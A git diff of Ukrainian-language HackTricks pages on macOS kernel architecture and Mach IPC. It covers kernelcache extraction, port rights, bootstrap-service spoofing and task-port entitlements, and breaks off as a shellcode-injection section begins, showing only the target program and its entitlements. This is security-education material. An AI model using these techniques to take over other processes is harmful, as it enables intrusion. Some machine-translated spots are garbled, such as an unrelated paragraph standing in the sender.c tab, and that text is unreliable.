Mach - це **мікроядро**, призначене бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **просторі ядра**, і натомість дозволяти багатьом типовим функціям ядра, таким як файлова система, мережа та введення/виведення, **виконуватися як завдання на рівні користувача**.
|
||||
|
||||
У XNU Mach **відповідає за багато критичних операцій на низькому рівні**, які зазвичай обробляє ядро, такі як планування процесора, багатозадачність та управління віртуальною пам'яттю.
|
||||
|
||||
|
@ -39,13 +40,13 @@ Mach - це **мікроядро**, призначене бути **сумісн
|
|||
* TCP/IP стек та сокети
|
||||
* Брандмауер та фільтрація пакетів
|
||||
|
||||
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні каркаси. Наприклад, BSD використовує процеси як свою фундаментальну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить рівно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку.
|
||||
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні каркаси. Наприклад, BSD використовує процеси як свою основну виконавчу одиницю, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить рівно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в межах ядра використовує функції Mach для створення структури завдання та потоку.
|
||||
|
||||
Більше того, **Mach та BSD кожен мають власні моделі безпеки**: **модель безпеки Mach базується на правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Розбіжності між цими двома моделями іноді призводили до вразливостей локального підвищення привілеїв. Окрім типових системних викликів, також існують **пастки Mach, які дозволяють програмам простору користувача взаємодіяти з ядром**. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
||||
Більше того, **Mach та BSD кожен мають власні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Розбіжності між цими двома моделями іноді призводили до вразливостей локального підвищення привілеїв. Окрім типових системних викликів, також існують **пастки Mach**, які дозволяють програмам простору користувача взаємодіяти з ядром. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
||||
|
||||
### I/O Kit - Драйвери
|
||||
|
||||
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажені драйвери пристроїв**. Він дозволяє додавати модульний код до ядра на льоту, підтримуючи різноманітне обладнання.
|
||||
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє додавати модульний код до ядра на льоту, підтримуючи різноманітне обладнання.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
@ -59,7 +60,7 @@ I/O Kit - це відкритий, об'єктно-орієнтований **ф
|
|||
|
||||
### Kernelcache
|
||||
|
||||
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними драйверами пристроїв та **розширеннями ядра**. Він зберігається у **стиснутому** форматі та розпаковується в пам'ять під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження** за рахунок наявності готової до запуску версії ядра та важливих драйверів, що дозволяє зменшити час та ресурси, які інакше б витрачалися на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
||||
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними драйверами пристроїв та розширеннями ядра. Він зберігається у **стиснутому** форматі та розпаковується в пам'ять під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження** за рахунок наявності готової до запуску версії ядра та важливих драйверів, що дозволяє зменшити час та ресурси, які інакше б витрачалися на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
||||
|
||||
У iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, у macOS ви можете знайти його за допомогою **`find / -name kernelcache 2>/dev/null`** або **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
|
@ -67,7 +68,7 @@ I/O Kit - це відкритий, об'єктно-орієнтований **ф
|
|||
|
||||
#### IMG4
|
||||
|
||||
Формат файлу IMG4 - це контейнерний формат, який використовується Apple у своїх пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (наприклад, **kernelcache**). Формат IMG4 включає заголовок та кілька тегів, які упаковують різні частини даних, включаючи фактичний навантаження (наприклад, ядро або завантажувач), підпис, та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтвердити автентичність та цілісність компонента прошивки перед його виконанням.
|
||||
Формат файлу IMG4 - це контейнерний формат, який використовується Apple у своїх пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (наприклад, **kernelcache**). Формат IMG4 включає заголовок та кілька тегів, які упаковують різні частини даних, включаючи фактичний навантаження (як ядро або завантажувач), підпис, та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтвердити автентичність та цілісність компонента прошивки перед його виконанням.
|
||||
|
||||
Зазвичай складається з наступних компонентів:
|
||||
|
||||
|
@ -80,10 +81,9 @@ I/O Kit - це відкритий, об'єктно-орієнтований **ф
|
|||
* **Інформація про відновлення (IM4R)**:
|
||||
* Також відомий як APNonce
|
||||
* Запобігає повторному відтворенню деяких оновлень
|
||||
* ОПЦІЙНО: Зазвичай цього не знаходять
|
||||
* НЕОБОВ'ЯЗКОВО: Зазвичай цього не знаходять
|
||||
|
||||
Розпакуйте Kernelcache:
|
||||
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
@ -91,17 +91,16 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
#### Символи ядра
|
||||
|
||||
Іноді Apple випускає **ядро кешу** з **символами**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланням на [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
Це прошивки Apple, які можна завантажити з [**https://ipsw.me/**](https://ipsw.me/). Серед інших файлів вони містять **ядро кешу**.\
|
||||
Для **вилучення** файлів ви можете просто їх **розпакувати**.
|
||||
Це прошивки Apple, які можна завантажити з [**https://ipsw.me/**](https://ipsw.me/). Серед інших файлів вони міститимуть **ядро кешу**.\
|
||||
Для **розпакування** файлів ви можете просто розархівувати їх.
|
||||
|
||||
Після розпакування прошивки ви отримаєте файл, наприклад: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягнути цікаву інформацію за допомогою:
|
||||
Після розпакування прошивки ви отримаєте файл, наприклад: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
|
@ -112,15 +111,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
|
|||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
|
||||
Ви можете перевірити витягнутий ядро для символів за допомогою: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
Ви можете перевірити витягнутий kernelcache на символи за допомогою: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
З цим ми тепер можемо **витягнути всі розширення** або **те, що вас цікавить:**
|
||||
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
|
@ -133,7 +129,6 @@ kextex_all kernelcache.release.iphone14.e
|
|||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
|
||||
## Розширення ядра macOS
|
||||
|
||||
macOS **дуже обмежує завантаження розширень ядра** (.kext) через високі привілеї, з якими цей код буде виконуватися. Фактично, за замовчуванням це практично неможливо (якщо не знайдено обхід).
|
||||
|
@ -154,17 +149,3 @@ macOS **дуже обмежує завантаження розширень яд
|
|||
|
||||
* [**Посібник хакера Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний мерч PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS IPC - Міжпроцесне спілкування
|
||||
# macOS IPC - Міжпроцесорна комунікація
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Повідомлення Mach через порти
|
||||
|
||||
|
@ -20,7 +21,7 @@
|
|||
|
||||
Mach використовує **задачі** як **найменшу одиницю** для обміну ресурсами, і кожна задача може містити **кілька потоків**. Ці **задачі та потоки відображаються відношенням 1:1 до процесів та потоків POSIX**.
|
||||
|
||||
Спілкування між задачами відбувається через міжпроцесне спілкування Mach (IPC), використовуючи односторонні канали зв'язку. **Повідомлення передаються між портами**, які діють як **черги повідомлень**, керовані ядром.
|
||||
Комунікація між задачами відбувається через міжпроцесорну комунікацію Mach (IPC), використовуючи односторонні канали зв'язку. **Повідомлення передаються між портами**, які діють як **черги повідомлень**, керовані ядром.
|
||||
|
||||
Кожен процес має **таблицю IPC**, де можна знайти **порти mach процесу**. Назва порту Mach фактично є числом (вказівником на об'єкт ядра).
|
||||
|
||||
|
@ -28,52 +29,52 @@ Mach використовує **задачі** як **найменшу один
|
|||
|
||||
### Права порту
|
||||
|
||||
Права порту, які визначають операції, які може виконувати задача, є ключовими для цього спілкування. Можливі **права порту** ([визначення тут](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
Права порту, які визначають операції, які може виконувати задача, є ключовими для цієї комунікації. Можливі **права порту** включають ([визначення тут](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Право отримання**, яке дозволяє отримувати повідомлення, відправлені на порт. Порти Mach є чергами MPSC (багатопродуктові, одноконсумерні), що означає, що може бути тільки **одне право отримання для кожного порту** в усій системі (на відміну від каналів, де кілька процесів можуть утримувати дескриптори файлів для читання з одного каналу).
|
||||
* **Задача з правом отримання** може отримувати повідомлення та **створювати права відправки**, що дозволяє відправляти повідомлення. Спочатку тільки **власна задача має право отримання на свій порт**.
|
||||
* **Право відправки**, яке дозволяє відправляти повідомлення на порт.
|
||||
* Право відправки може бути **клоноване**, тому задача, яка володіє правом відправки, може скопіювати право та **надати його третій задачі**.
|
||||
* **Право відправки один раз**, яке дозволяє відправити одне повідомлення на порт, після чого воно зникає.
|
||||
* **Право на набір портів**, яке вказує на _набір портів_, а не один окремий порт. Вибірка повідомлення з набору портів вибирає повідомлення з одного з його портів. Набори портів можуть використовуватися для прослуховування кількох портів одночасно, схоже на `select`/`poll`/`epoll`/`kqueue` в Unix.
|
||||
* Право відправки може бути **клоноване**, тому задача, яка володіє правом відправки, може склонувати право та **надати його третій задачі**.
|
||||
* **Право відправки один раз**, яке дозволяє відправити одне повідомлення на порт і потім зникнути.
|
||||
* **Право набору портів**, яке вказує на _набір портів_ замість одного порту. Вибірка повідомлення з набору портів вибирає повідомлення з одного з його портів. Набори портів можуть використовуватися для прослуховування кількох портів одночасно, схоже на `select`/`poll`/`epoll`/`kqueue` в Unix.
|
||||
* **Мертве ім'я**, яке не є фактичним правом порту, а лише заповнювачем. Коли порт знищується, всі існуючі права порту на порт перетворюються на мертві імена.
|
||||
|
||||
**Задачі можуть передавати ПРАВА ВІДПРАВКИ іншим**, дозволяючи їм відправляти повідомлення назад. **ПРАВА ВІДПРАВКИ також можуть бути клоновані, тому задача може скопіювати право та **надати його третій задачі**. Це, разом із проміжним процесом, відомим як **ініціалізаційний сервер**, дозволяє ефективне спілкування між задачами.
|
||||
**Задачі можуть передавати ПРАВА ВІДПРАВКИ іншим**, дозволяючи їм відправляти повідомлення назад. **ПРАВА ВІДПРАВКИ також можуть бути клоновані, тому задача може скопіювати право та **надати його третій задачі**. Це, разом із проміжним процесом, відомим як **запусковий сервер**, дозволяє ефективно спілкуватися між задачами.
|
||||
|
||||
### Порти файлів
|
||||
|
||||
Порти файлів дозволяють інкапсулювати дескриптори файлів у портах Mac (з використанням прав портів Mach). Можливо створити `fileport` з вказаним FD за допомогою `fileport_makeport` та створити FD з fileport за допомогою `fileport_makefd`.
|
||||
Порти файлів дозволяють інкапсулювати дескриптори файлів у портах Mac (з використанням прав портів Mach). Можливо створити `fileport` з заданим FD за допомогою `fileport_makeport` та створити FD з fileport за допомогою `fileport_makefd`.
|
||||
|
||||
### Встановлення зв'язку
|
||||
|
||||
#### Кроки:
|
||||
|
||||
Як зазначено, для встановлення каналу спілкування включений **ініціалізаційний сервер** (**launchd** в Mac).
|
||||
Як вказано, для встановлення каналу зв'язку включений **запусковий сервер** (**launchd** в Mac).
|
||||
|
||||
1. Задача **A** ініціює **новий порт**, отримуючи **право отримання** в процесі.
|
||||
2. Задача **A**, яка є власником права отримання, **створює право відправки для порту**.
|
||||
3. Задача **A** встановлює **з'єднання** з **ініціалізаційним сервером**, надаючи **ім'я служби порту** та **право відправки** через процедуру, відому як реєстрація ініціалізації.
|
||||
4. Задача **B** взаємодіє з **ініціалізаційним сервером**, щоб виконати пошук ініціалізації для **імені служби**. У разі успіху **сервер копіює право відправки**, отримане від Задачі A, та **передає його Задачі B**.
|
||||
3. Задача **A** встановлює **з'єднання** з **запусковим сервером**, надаючи **ім'я служби порту** та **право відправки** через процедуру, відому як реєстрація в запусковому сервері.
|
||||
4. Задача **B** взаємодіє з **запусковим сервером**, щоб виконати пошук **служби за ім'ям**. У разі успіху **сервер копіює право відправки**, отримане від Задачі A, і **передає його Задачі B**.
|
||||
5. Після отримання права відправки, Задача **B** може **формулювати** **повідомлення** та відправляти його **Задачі A**.
|
||||
6. Для двостороннього спілкування зазвичай задача **B** створює новий порт з **правом отримання** та **правом відправки**, і надає **право відправки Задачі A**, щоб вона могла відправляти повідомлення ЗАДАЧІ B (двостороннє спілкування).
|
||||
6. Для двостороннього зв'язку зазвичай задача **B** створює новий порт з **правом отримання** та **правом відправки**, і надає **право відправки Задачі A**, щоб вона могла відправляти повідомлення ЗАДАЧІ B (двосторонній зв'язок).
|
||||
|
||||
Ініціалізаційний сервер **не може аутентифікувати** ім'я служби, вказане задачею. Це означає, що **задача** може потенційно **підробити будь-яку системну задачу**, наприклад, **фальшиво вказати ім'я служби авторизації** та потім схвалювати кожен запит.
|
||||
Запусковий сервер **не може аутентифікувати** ім'я служби, вказане задачею. Це означає, що **задача** може потенційно **підробити будь-яку системну задачу**, наприклад, **фальшиво вказати ім'я служби авторизації** та потім схвалювати кожен запит.
|
||||
|
||||
Потім Apple зберігає **імена служб, наданих системою**, у захищених конфігураційних файлах, розташованих в **каталогах, захищених SIP**: `/System/Library/LaunchDaemons` та `/System/Library/LaunchAgents`. Поруч з кожним ім'ям служби також зберігається **пов'язаний бінарний файл**. Ініціалізаційний сервер створить та утримує **право отримання для кожного з цих імен служб**.
|
||||
Потім Apple зберігає **імена служб, наданих системою**, у захищених конфігураційних файлах, розташованих у каталогах, захищених SIP: `/System/Library/LaunchDaemons` та `/System/Library/LaunchAgents`. Поруч з кожним ім'ям служби також зберігається **пов'язаний бінарний файл**. Запусковий сервер створить та утримує **право отримання для кожного з цих імен служб**.
|
||||
|
||||
Для цих попередньо визначених служб **процес пошуку відрізняється трохи**. Під час пошуку імені служби launchd динамічно запускає службу. Новий робочий процес виглядає наступним чином:
|
||||
Для цих попередньо визначених служб **процес пошуку відрізняється трохи**. Під час пошуку імені служби launchd запускає службу динамічно. Новий робочий процес виглядає наступним чином:
|
||||
|
||||
* Задача **B** ініціює пошук ініціалізації для імені служби.
|
||||
* Задача **B** ініціює пошук **запускового сервера** для імені служби.
|
||||
* **launchd** перевіряє, чи працює задача, і якщо ні, **запускає** її.
|
||||
* Задача **A** (служба) виконує **перевірку ініціалізації**. Тут **ініціалізаційний** сервер створює право відправки, утримує його та **передає право отримання Задачі A**.
|
||||
* Задача **A** (служба) виконує **перевірку в запусковому сервері**. Тут **запусковий** сервер створює право відправки, утримує його та **передає право отримання Задачі A**.
|
||||
* launchd копіює **право відправки та відправляє його Задачі B**.
|
||||
* Задача **B** створює новий порт з **правом отримання** та **правом відправки**, і надає **право відправки Задачі A** (службі), щоб вона могла відправляти повідомлення ЗАДАЧІ B (двостороннє спілкування).
|
||||
* Задача **B** створює новий порт з **правом отримання** та **правом відправки**, і надає **право відправки Задачі A** (службі), щоб вона могла відправляти повідомлення ЗАДАЧІ B (двосторонній зв'язок).
|
||||
|
||||
Однак цей процес застосовується лише до попередньо визначених системних задач. Несистемні задачі все ще працюють, як описано спочатку, що потенційно може дозволити підробку.
|
||||
|
||||
### Повідомлення Mach
|
||||
|
||||
[Дізнайтеся більше тут](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
[Додаткова інформація тут](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Функція `mach_msg`, в сутності системний виклик, використовується для відправлення та отримання повідомлень Mach. Функція вимагає, щоб повідомлення було відправлено як початковий аргумент. Це повідомлення повинно починатися зі структури `mach_msg_header_t`, за якою йде вміст самого повідомлення. Структура визначається наступним чином:
|
||||
```c
|
||||
|
@ -86,9 +87,9 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Процеси, які мають _**право на отримання**_, можуть отримувати повідомлення на порті Mach. Натомість **відправники** мають _**право на відправку**_ або _**право на відправку одного разу**_. Право на відправку одного разу призначене виключно для відправлення одного повідомлення, після чого воно стає недійсним.
|
||||
Процеси, які мають _**право на отримання**_, можуть отримувати повідомлення на порті Mach. Натомість **відправники** отримують _**право на відправку**_ або _**право на відправку один раз**_. Право на відправку один раз призначене виключно для відправлення одного повідомлення, після чого воно стає недійсним.
|
||||
|
||||
Для досягнення простої **двосторонньої комунікації** процес може вказати **порт Mach** у заголовку mach **повідомлення**, який називається _портом відповіді_ (**`msgh_local_port`**), де **отримувач** повідомлення може **відправити відповідь** на це повідомлення. Бітові прапорці в **`msgh_bits`** можуть бути використані для **вказівки** того, що **право на відправку одного разу** повинно бути похідним та переданим для цього порту (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Для досягнення простої **двосторонньої комунікації** процес може вказати **порт Mach** у заголовку повідомлення Mach, який називається _портом відповіді_ (**`msgh_local_port`**), куди **отримувач** повідомлення може **відправити відповідь** на це повідомлення. Бітові прапорці в **`msgh_bits`** можуть бути використані для **вказівки** того, що для цього порту повинно бути похідне **право на відправку один раз** (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Зверніть увагу, що цей вид двосторонньої комунікації використовується в повідомленнях XPC, які очікують відповіді (`xpc_connection_send_message_with_reply` та `xpc_connection_send_message_with_reply_sync`). Проте **зазвичай створюються різні порти**, як пояснено раніше, для створення двосторонньої комунікації.
|
||||
|
@ -96,13 +97,13 @@ mach_msg_id_t msgh_id;
|
|||
|
||||
Інші поля заголовка повідомлення:
|
||||
|
||||
* `msgh_size`: розмір усього пакета.
|
||||
* `msgh_size`: розмір всього пакета.
|
||||
* `msgh_remote_port`: порт, на який відправляється це повідомлення.
|
||||
* `msgh_voucher_port`: [порти ваучерів Mach](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: ідентифікатор цього повідомлення, який інтерпретується отримувачем.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що **mach-повідомлення відправляються через порт mach**, який є **одним отримувачем**, **каналом зв'язку з кількома відправниками**, вбудованим у ядро mach. **Декілька процесів** можуть **відправляти повідомлення** на порт mach, але в будь-який момент лише **один процес може читати** з нього.
|
||||
Зверніть увагу, що **повідомлення Mach відправляються через порт Mach**, який є **одним отримувачем**, **каналом зв'язку з кількома відправниками**, вбудованим у ядро Mach. **Декілька процесів** можуть **відправляти повідомлення** на порт Mach, але в будь-який момент лише **один процес може читати** з нього.
|
||||
{% endhint %}
|
||||
|
||||
### Перерахувати порти
|
||||
|
@ -184,7 +185,7 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}sender.c{% endtab %}
|
||||
{% tab title="sender.c" %}У macOS є кілька механізмів міжпроцесної комунікації (IPC), таких як розшарені пам'ять, сигнали, роз'єми та TCP/IP сокети. Ці механізми можуть бути використані для взаємодії між процесами та обміну даними. Наприклад, використання IPC може призвести до вразливостей привілеїв, які можуть бути використані для ескалації привілеїв. Для забезпечення безпеки macOS важливо ретельно контролювати доступ до цих механізмів IPC. {% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc sender.c -o sender
|
||||
|
@ -236,29 +237,29 @@ return 1;
|
|||
printf("Sent a message\n");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### Привілейовані порти
|
||||
|
||||
* **Порт хоста**: Якщо процес має **право на відправку** через цей порт, він може отримати **інформацію** про **систему** (наприклад, `host_processor_info`).
|
||||
* **Привілейований порт хоста**: Процес з **правом на відправку** через цей порт може виконувати **привілейовані дії**, наприклад завантаження розширення ядра. **Процес повинен бути root**, щоб отримати це дозвіл.
|
||||
* Крім того, для виклику API **`kext_request`** потрібно мати інші дозволи **`com.apple.private.kext*`**, які надаються лише бінарним файлам Apple.
|
||||
* **Порт імені завдання**: Непривілейована версія _порту завдання_. Він посилається на завдання, але не дозволяє його контролювати. Єдине, що, здається, доступно через нього, це `task_info()`.
|
||||
* **Порт завдання** (також відомий як ядерний порт)**:** З правом на відправку через цей порт можна контролювати завдання (читання/запис пам'яті, створення потоків...).
|
||||
* Викличте `mach_task_self()` для **отримання імені** цього порту для викликаючого завдання. Цей порт **спадковий** тільки під час **`exec()`**; нове завдання, створене за допомогою `fork()`, отримує новий порт завдання (як виняток, завдання також отримує новий порт завдання після `exec()` у suid-бінарних файлах). Єдиний спосіб створити завдання та отримати його порт - виконати ["танець обміну портами"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) під час виконання `fork()`.
|
||||
* **Привілейований порт хоста**: Процес з правом **відправки** через цей порт може виконувати **привілейовані дії**, наприклад, завантаження розширення ядра. **Процес повинен бути root**, щоб отримати це дозвіл.
|
||||
* Крім того, для виклику API **`kext_request`** потрібно мати інші дозволи **`com.apple.private.kext*`**, які надаються лише бінарникам Apple.
|
||||
* **Порт імені задачі**: Непривілейована версія _порту задачі_. Він посилається на задачу, але не дозволяє її контролювати. Єдине, що, здається, доступне через нього, це `task_info()`.
|
||||
* **Порт задачі** (також відомий як ядерний порт)**:** З правом відправки через цей порт можна контролювати задачу (читання/запис пам'яті, створення потоків...).
|
||||
* Викличте `mach_task_self()` для **отримання імені** цього порту для задачі викликача. Цей порт **спадковий** тільки під час **`exec()`**; нова задача, створена за допомогою `fork()`, отримує новий порт задачі (як виняток, задача також отримує новий порт задачі після `exec()` у suid-бінарнику). Єдиний спосіб створити задачу та отримати її порт - виконати ["танець обміну портами"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) під час виконання `fork()`.
|
||||
* Це обмеження доступу до порту (з `macos_task_policy` з бінарного файлу `AppleMobileFileIntegrity`):
|
||||
* Якщо додаток має **дозвіл на отримання завдання** **`com.apple.security.get-task-allow`**, процеси від **того ж користувача можуть отримати доступ до порту завдання** (зазвичай додано Xcode для налагодження). Процес **не дозволить** це для виробничих версій під час **підписування**.
|
||||
* Додатки з дозволом **`com.apple.system-task-ports`** можуть отримати **порт завдання для будь-якого** процесу, крім ядра. У старих версіях це називалося **`task_for_pid-allow`**. Це надається лише додаткам Apple.
|
||||
* **Root може отримати доступ до портів завдань** додатків, **не** скомпільованих з **захищеним** режимом виконання (і не від Apple).
|
||||
* Якщо додаток має **дозвіл `com.apple.security.get-task-allow`**, процеси від **того ж користувача можуть отримати доступ до порту задачі** (зазвичай додано Xcode для налагодження). Процес **не дозволить** цього під час процесу **нотаризації** для виробничих релізів.
|
||||
* Додатки з дозволом **`com.apple.system-task-ports`** можуть отримати **порт задачі для будь-якого** процесу, крім ядра. У старіших версіях це називалося **`task_for_pid-allow`**. Це надається лише додаткам Apple.
|
||||
* **Root може отримати доступ до портів задач** додатків, **не** скомпільованих з **захищеним** режимом виконання (і не від Apple).
|
||||
|
||||
### Впровадження шелл-коду в потік через порт завдання
|
||||
### Впровадження шелл-коду в потік через порт задачі
|
||||
|
||||
Ви можете отримати шелл-код з:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="mysleep.m" %}
|
||||
```objectivec
|
||||
// clang -framework Foundation mysleep.m -o mysleep
|
||||
// codesign --entitlements entitlements.plist -s - mysleep
|
||||
|
@ -290,7 +291,7 @@ return 0;
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.plist" %}
|
||||
{% tab title="entitlements.plist" %} {% завдання заголовка = "entitlements.plist" %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
|
